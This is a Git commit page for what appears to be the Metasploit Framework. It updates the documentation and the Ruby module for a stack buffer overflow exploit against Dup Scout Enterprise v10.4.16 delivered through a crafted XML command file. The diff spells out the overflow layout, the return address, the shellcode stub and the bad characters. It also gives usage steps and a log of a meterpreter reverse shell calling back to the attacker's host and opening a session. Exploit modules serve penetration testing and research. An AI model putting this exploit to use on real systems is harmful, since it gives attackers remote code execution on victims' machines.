Skip to content

Commit bc18389

Browse files
committed
Updated Document and Module
Update the documentation based on analysis of the vulnerability. Slight modifications to the exploit module as well to reduce the size of the generated file and reduce bad characters.
1 parent 656bb7f commit bc18389

File tree

2 files changed

+79
-49
lines changed

2 files changed

+79
-49
lines changed
Lines changed: 66 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -1,45 +1,79 @@
1-
This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16 by using the import command option to import a specially crafted xml file.
1+
## Overview
22

3-
## Vulnerable Application
4-
5-
This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [www.dupscout.com](http://www.dupscout.com/setups/dupscoutent_setup_v10.4.16.exe).
3+
This module exploits a buffer overflow in libpal.dll that is used by [Dup Scout Enterprise v10.4.16](http://www.dupscout.com/setups/dupscoutent_setup_v10.4.16.exe). The buffer overflow occurs during a call to the SCA_XmlParser::GetToken function when a user-supplied Command file with a crafted name attribute is imported to the Dup Scout application. The SCA_XmlParser::GetToken function is passed a heap pointer as an argument, which was created by the SCA_XmlParser::LoadXmlFile function and contains data from the user-supplied Command file, and a pointer to a stack buffer that was created in the SCA_XmlParser::ParseXmlElement function. While parsing the name attribute, the SCA_XmlParser::GetToken function copies from the heap buffer to the stack buffer until a single quote (to match name=', or a double quote to match name=") is found or until it finishes reading from the allocated heap buffer.
64

75
## Verification Steps
86

9-
1. Start msfconsole
10-
2. Do: `exploit/windows/fileformat/dupscout_xml`
11-
3. Do: `set PAYLOAD [PAYLOAD]`
12-
4. Do: `run`
7+
- [ ] Install Dup Scout Enterprise on target system
8+
- [ ] `./msfconsole`
9+
- [ ] `use exploit/windows/fileformat/dupscout_xml`
10+
- [ ] `set payload windows/meterpreter/reverse_tcp`
11+
- [ ] `set lhost <lhost>`
12+
- [ ] `run`
13+
- [ ] `use exploit/multi/handler`
14+
- [ ] `set payload windows/meterpreter/reverse_tcp`
15+
- [ ] `set lhost <lhost>`
16+
- [ ] `run`
17+
- [ ] From the DupScout Enterprise menu select Command -> Import Command
18+
- [ ] Select file generated by metasploit
19+
- [ ] Get a session
20+
21+
## Exploiting the Vulnerability
22+
23+
The vulnerability can be exploited when the size of the name attribute is greater than 1560 bytes.
24+
25+
Note: The allocated stack buffer size is 1564 bytes but the first four bytes are filled with `\xff` during execution of the SCA_XmlParser::GetToken function.
26+
27+
Since the stack buffer was allocated as a local variable for the SCA_XmlParser::ParseXmlElement function, the program's control flow isn't taken over until the return of the SCA_XmlParser::ParseXmlElement function even though the return value is overwritten during execution of the SCA_XmlParser::GetToken function.
28+
29+
The format of the crafted Command file will be:
30+
31+
```
32+
buf = "<?xml ?><a name='"
33+
buf << make_nops(1560) # Fill up the stack buffer
34+
buf << addr_of_jmp_esp # overwrite the return address for SCA_XmlParser::ParseXmlElement
35+
buf << make_nops(16) # account for ret 10h in SCA_XmlParser::ParseXmlElement
36+
buf << inst1 # LEA EAX, [ESP+14h] # Prepare EAX to jump to payload
37+
buf << inst2 # JMP EAX # Jump to our desired location
38+
buf << make_nops(14) # Fill past possibly corrupted location
39+
buf << payload # Location that is jumped to
40+
```
41+
42+
Note: The last make_nops will offset the location of the payload. The offset is included to account for writes to the stack buffer that occur when whitespace characters are included in the Command file. By offsetting the payload, the number of bad characters can be reduced to just the single or double quote characters.
43+
44+
## Example Execution
45+
46+
This exploit was tested on Windows 7 SP1 x64.
1347

14-
## Example
1548
```
16-
msf > use exploit/windows/fileformat/dupscout_xml
17-
msf exploit(windows/fileformat/dupscout_xml) > set PAYLOAD windows/meterpreter/reverse_tcp
18-
PAYLOAD => windows/meterpreter/reverse_tcp
19-
msf exploit(windows/fileformat/dupscout_xml) > set LHOST 172.16.40.146
20-
LHOST => 172.16.40.146
21-
msf exploit(windows/fileformat/dupscout_xml) > run
49+
msf5 > use exploit/windows/fileformat/dupscout_xml
50+
msf5 exploit(windows/fileformat/dupscout_xml) > set payload windows/meterpreter/reverse_tcp
51+
payload => windows/meterpreter/reverse_tcp
52+
msf5 exploit(windows/fileformat/dupscout_xml) > set lhost 172.22.222.120
53+
lhost => 172.22.222.120
54+
msf5 exploit(windows/fileformat/dupscout_xml) > run
2255
2356
[*] Creating 'msf.xml' file ...
24-
[+] msf.xml stored at /root/.msf4/local/msf.xml
25-
msf exploit(windows/fileformat/dupscout_xml) > use exploit/multi/handler
26-
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
27-
PAYLOAD => windows/meterpreter/reverse_tcp
28-
msf exploit(multi/handler) > set LHOST 172.16.40.146
29-
LHOST => 172.16.40.146
30-
msf exploit(multi/handler) > run
31-
32-
[*] Started reverse TCP handler on 172.16.40.146:4444
33-
[*] Sending stage (179779 bytes) to 172.16.40.144
34-
[*] Meterpreter session 1 opened (172.16.40.146:4444 -> 172.16.40.144:49790) at 2018-01-24 20:56:56 +0000
35-
36-
meterpreter > sysinfo
37-
Computer : PC
57+
[+] msf.xml stored at /home/msfdev/.msf4/local/msf.xml
58+
msf5 exploit(windows/fileformat/dupscout_xml) > use exploit/multi/handler
59+
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
60+
payload => windows/meterpreter/reverse_tcp
61+
msf5 exploit(multi/handler) > set lhost 172.22.222.120
62+
lhost => 172.22.222.120
63+
msf5 exploit(multi/handler) > run
64+
65+
[*] Started reverse TCP handler on 172.22.222.120:4444
66+
[*] Sending stage (179779 bytes) to 172.22.222.122
67+
68+
meterpreter > getuid
69+
Server username: .\pwnduser
70+
meterpreter > sysinfo
71+
Computer : .
3872
OS : Windows 7 (Build 7601, Service Pack 1).
39-
Architecture : x86
40-
System Language : pt_PT
73+
Architecture : x64
74+
System Language : en_US
4175
Domain : WORKGROUP
42-
Logged On Users : 1
76+
Logged On Users : 2
4377
Meterpreter : x86/windows
4478
meterpreter >
4579
```

modules/exploits/windows/fileformat/dupscout_xml.rb

Lines changed: 13 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -33,12 +33,12 @@ def initialize(info = {})
3333
'Platform' => 'win',
3434
'Payload' =>
3535
{
36-
'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
36+
'BadChars' => "\x27",
3737
'StackAdjustment' => -3500
3838
},
3939
'Targets' =>
4040
[
41-
['Windows Universal', { 'Ret' => 0x651BB77A } ]
41+
['Windows Universal', { 'Ret' => 0x651BB77A } ] # JMP ESP [QtGui4.dll]
4242
],
4343
'Privileged' => false,
4444
'DisclosureDate' => 'Mar 29 2017',
@@ -51,23 +51,19 @@ def initialize(info = {})
5151
end
5252

5353
def exploit
54-
nops = make_nops(1000)*5
54+
esp = "\x8d\x44\x24\x14" #LEA EAX, [ESP+14h]
55+
jmp = "\xff\xe0" # JMP EAX
5556

56-
esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
57-
jmp = "\xFF\xE0" # JMP EAX
58-
59-
buffer = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
60-
buffer << nops[0,1560]
61-
buffer << [target.ret].pack('V')
62-
buffer << nops[0,16]
63-
buffer << esp
64-
buffer << jmp
65-
buffer << nops[0,70]
66-
buffer << payload.encoded
67-
buffer << nops
68-
buffer << "\n</classify>"
57+
buf = "<?xml ?><a name='"
58+
buf << make_nops(1560)
59+
buf << [target.ret].pack('V')
60+
buf << make_nops(16)
61+
buf << esp
62+
buf << jmp
63+
buf << make_nops(14)
64+
buf << payload.encoded
6965

7066
print_status("Creating '#{datastore['FILENAME']}' file ...")
71-
file_create(buffer)
67+
file_create(buf)
7268
end
7369
end

0 commit comments

Comments
 (0)